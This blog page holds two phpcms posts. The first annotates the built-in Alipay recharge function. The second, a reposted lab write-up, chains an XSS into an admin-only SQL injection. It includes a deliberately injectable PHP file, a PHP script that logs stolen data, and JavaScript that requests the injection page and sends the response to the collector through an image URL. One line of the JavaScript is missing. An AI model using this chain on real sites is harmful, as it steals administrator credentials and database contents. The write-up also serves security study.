显示标签为“phpcms”的博文。显示所有博文
显示标签为“phpcms”的博文。显示所有博文

2013年6月20日星期四

phpcms ?m=pay&c=deposit&a=pay_recharge 自带支付宝付款方法详解


复制代码
     /*
      * 充值方式支付
      * $_POST['dosubmit']    //submit 按钮
      * $_POST['code']         //验证码
      * $_POST['pay_type']    //充值方式 1=支付宝
      * param::get_cookie('trade_sn')    //获取订单号
      * 
      * $_POST['info']['name']            //姓名
      * $_POST['info']['usernote']        //备注
      * $_POST['info']['price']            //金额
      * $_POST['info']['telephone']        //电话
      * $_POST['info']['email']            //邮箱
      */
     public function pay_recharge() {
         if(isset($_POST['dosubmit'])) {
             $code = isset($_POST['code']) && trim($_POST['code']) ? trim($_POST['code']) : showmessage(L('input_code'), HTTP_REFERER);
             if ($_SESSION['code'] != strtolower($code)) {//验证 判断是否验证码错误
                     showmessage(L('code_error'), HTTP_REFERER);
             }
             $pay_id = $_POST['pay_type'];
             if(!$pay_id) showmessage(L('illegal_pay_method'));//验证 没有选择支付方式
             $payment = $this->handle->get_payment($pay_id);//获取充值方式信息  pay_payment表信息
             $cfg = unserialize_config($payment['config']);//配置信息
             $pay_name = ucwords($payment['pay_code']);//方式模块代码
             if(!param::get_cookie('trade_sn')) {showmessage(L('illegal_creat_sn'));}// 验证 订单号生成错误
             
             $trade_sn    = param::get_cookie('trade_sn');//获取订单号
             //备注 “姓名订单号-备注”
             $usernote = $_POST['info']['usernote'] ? $_POST['info']['name'].'['.$trade_sn.']'.'-'.new_html_special_chars(trim($_POST['info']['usernote'])) : $_POST['info']['name'].'['.$trade_sn.']';
             
             $surplus = array(
                     'userid'      => $this->_userid,
                     'username'    => $this->_username,
                     'money'       => trim(floatval($_POST['info']['price'])),
                     'quantity'    => $_POST['quantity'] ? trim(intval($_POST['quantity'])) : 1,//*-*
                     'telephone'   => trim($_POST['info']['telephone']),
                     'contactname' => $_POST['info']['name'] ? trim($_POST['info']['name']).L('recharge') : $this->_username.L('recharge'),
                     'email'       => trim($_POST['info']['email']),
                     'addtime'      => SYS_TIME,//获取系统时间
                     'ip'      => ip(),//获取ip
                     'pay_type'      => 'recharge',//*-*
                     'pay_id'     => $payment['pay_id'],//id//auto_increment        
                     'payment'     => trim($payment['pay_name']),//方式模块名称
                     'ispay'          => '1',
                     'usernote'    => $usernote,
                     'trade_sn'      => $trade_sn,
             );
             
             $recordid = $this->handle->set_record($surplus);//生成流水记录//向pay_account表插入数据//返回数据id
             
             $factory_info = $this->handle->get_record($recordid);//获取流水记录
             if(!$factory_info) showmessage(L('order_closed_or_finish'));//验证 订单已完成或该已经关闭
             //返回订单手续费(订单价格 $amount ;手续费比率 $fee ;手续费方式 $method )
             $pay_fee = pay_fee($factory_info['money'],$payment['pay_fee'],$payment['pay_method']);
             $logistics_fee = $factory_info['logistics_fee'];//*-*
             $discount = $factory_info['discount'];//折扣
             
             // calculate amount
             $factory_info['price'] = $factory_info['money'] + $pay_fee + $logistics_fee + $discount;//计算总金额
             
             // add order info
             $order_info['id']    = $factory_info['trade_sn'];
             $order_info['quantity']    = $factory_info['quantity'];
             $order_info['buyer_email']    = $factory_info['email'];
             $order_info['order_time']    = $factory_info['addtime'];
             
             //add product info
             $product_info['name'] = $factory_info['contactname'];
             $product_info['body'] = $factory_info['usernote'];
             $product_info['price'] = $factory_info['price'];
             
             //add set_customerinfo
             $customerinfo['telephone'] = $factory_info['telephone'];
             if($payment['is_online'] === '1') {
                 pc_base::load_app_class('pay_factory','',0);//支付模块调用工厂
                 $payment_handler = new pay_factory($pay_name, $cfg);//(方式模块代码,配置信息)
                 //*-*
                 $payment_handler->set_productinfo($product_info)->set_orderinfo($order_info)->set_customerinfo($customer_info);
                 
                 $code = $payment_handler->get_code('value="'.L('confirm_pay').'" class="button"');    
             } else {
                 $this->account_db->update(array('status'=>'waitting','pay_type'=>'offline'),array('id'=>$recordid));
                 $code = '<div class="point">'.L('pay_tip').'</div>';
             }
         }
         include template('pay', 'payment_cofirm');        
     }    
     
复制代码

2013年4月25日星期四

PHPcms利用xss 执行sql注入



Date: 2012/8/3  Sort: HTML|CSS|JS|xss|xml824 Views / 3 Comments / 
昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功!
于是乎我只有假想下一个极端环境:
1.前台有且只有一个xss漏洞(不能获取管理员cookie)
2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问)
3.注入获得管理员密码可解密
4.除以上无其他任何漏洞(包括后台getwebshell)
其实我就是想说,我们只可以利用这个xss执行注入!

模拟注入漏洞代码
sqli.php
01<?php
02 @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);//错误忽略
03 $con = mysql_connect("localhost","root","");
04 if(!$con) {die('Could not connect: ' . mysql_error());}
05 mysql_select_db("test",$con);
06 $id $_GET['xss'];
07 $sql "select id,realname from test where id="."$id";
08 $view = mysql_query($sql);
09 $row = mysql_fetch_array($view);
10 echo $row[id]."<br />";
11 echo $row[realname]."<br />";
12?>

mysql数据库:
1database:test
2table:test、admin
3column:test.id、test.realname
4             admin.id、admin.username、admin.password

get.php(获取的注入后数据截取)
1<?php
2 $file fopen("data.txt","a");
3 fwrite($file,$_GET['get']);
4 fclose($file);
5?>

xsssqli.js(payload)
01function addLoadEvent(func)//窗口打开加载多个函数
02{
03 var oldfunc=window.onload; //页面打开是加载方法
04    if(typeof(window.onload)!="function")
05    {
06     window.onload=func;
07    }
08    else
09    {
10     window.onload=function()
11     {
12      oldfunc();
13      func();
14      }
15     }
16}
17function get_xsssqli()
18{
20 var ajax = null;
21 if(window.XMLHttpRequest)
22 {
23  ajax = new XMLHttpRequest();
24 }
25 else if(window.ActiveXObject)
26 {
27  ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本
28 }
29 else
30 {
31  return;
32 }
33 ajax.open("GET", url, true);
34 ajax.send(null);
35 ajax.onreadystatechange = function()
36 {
37  if(ajax.readyState == 4 && ajax.status == 200)
38  {
39   var img = document.createElement("img");
40   img.src = "http://127.0.0.1/xss/get.php?get="+ajax.responseText;
41   document.body.appendChild(img);
42  }
43 }
44}
45addLoadEvent(get_xsssqli);

模拟xss漏洞
1<html>
2 <head>
3  <title>use xss to sqli</title>
4 </head>
5 <body>
6 <script src=http://127.0.0.1/xss/get.js ></script>
7 </body>
8</html>

最后成功得到数据:


当然你也可以写个正则截获指定数据!
转载请指明出处:L.N.博客  http://lanu.sinaapp.com/htmlcssjisxml/112.html